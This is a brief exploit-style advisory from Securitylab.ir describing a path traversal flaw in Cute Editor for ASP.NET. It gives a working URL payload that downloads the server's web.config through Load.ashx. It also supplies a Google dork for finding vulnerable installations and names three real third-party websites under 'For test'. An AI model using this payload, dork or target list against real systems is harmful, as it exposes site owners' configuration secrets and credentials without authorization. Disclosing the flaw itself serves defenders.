Cute Editor ASP.NET Remote File Disclosure Vulnerability

######################### Securitylab.ir ######################## # Application Info: # Name: Cute Editor # Version: ASP.NET # Website: http://cutesoft.net ################################################################# # Discoverd By: Securitylab.ir # Website: http://securitylab.ir # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir ################################################################# # Vulnerability Info: # Type: Remote File Download # Risk: Medium # Dork: inurl:CuteSoft_Client/CuteEditor #=========================================================== # http://www.site.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config #=========================================================== ################################################################# # For test: # http://cuteeditor.51aspx.com # http://ttgo.cc/company # http://www.auditon.co.il ################################################################# # Securitylab Security Research Team ###################################################################